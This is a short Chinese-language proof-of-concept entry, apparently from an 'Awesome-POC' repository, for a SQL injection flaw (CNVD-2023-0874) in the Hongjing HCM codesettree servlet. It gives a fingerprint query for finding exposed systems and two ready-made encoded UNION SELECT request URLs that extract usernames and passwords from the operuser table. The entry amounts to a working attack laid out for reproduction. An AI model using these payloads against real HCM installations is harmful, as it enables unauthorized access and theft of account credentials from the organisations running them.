Awesome-POC/Web应用漏洞/宏景 HCM codesettree SQL注入漏洞 CNVD-2023-0874.md
2023-08-28 15:55:36 +08:00

30 lines
767 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 宏景 HCM codesettree SQL注入漏洞 CNVD-2023-0874
## 漏洞描述
宏景 HCM codesettree 接口存在SQL注入漏洞攻击者通过漏洞可以获取到登陆系统的账号密码和数据库信息
## 漏洞影响
宏景 HCM
## 网络测绘
```
app="HJSOFT-HCM"
```
## 漏洞复现
登陆页面
![image-20230704113309837](./images/image-20230704113309837.png)
验证POC
```
/servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27~31~27~2cusername~20from~20operuser~20~2d~2d
/servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27~31~27~2cpassword~20from~20operuser~20~2d~2d
```
![image-20230704113329354](./images/image-20230704113329354.png)